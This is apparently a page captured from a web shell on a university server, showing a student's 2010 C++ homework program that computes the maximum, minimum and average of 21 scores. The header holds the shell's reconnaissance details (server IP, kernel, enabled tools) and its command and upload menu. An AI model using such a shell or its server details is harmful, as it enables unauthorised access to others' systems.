Server IP : 172.16.15.8 / Your IP : 18.217.98.175 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/jcwhiley/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
// CS112 CS 1 Assignment 7 // Due: Wednesday, December 1, 2010 // // File Name: assignment7.cpp // Author: Jennifer Whiley // Instuctor: Dr. Wang // // Compile: g++ assignment7.cpp // Run: ./a.out < in7.txt // // Goal: The program will read the first 21 of a set of scores and output // their maximum, minimum, and average (to one decimal place.) // // // #include <iostream> #include <iomanip> using namespace std; int main() { int n; int a; int max; int min; int sum = 0; float avg = 0.0; cout << fixed << showpoint << setprecision(1) << endl; cin >> n; max = n; min = n; for(a = 0; a < 21 ; a++) { //DEBUG cout << n << "\n"; if(n > max) { max = n; } if(n < min) { min = n; } sum = sum + n; cin >> n; avg = 1.0 * (sum/21.0); } cout << "The maximum value is: " << max << endl; cout << "The minimum value is: " << min << endl; cout << "The average value is: " << avg << endl; return 0; }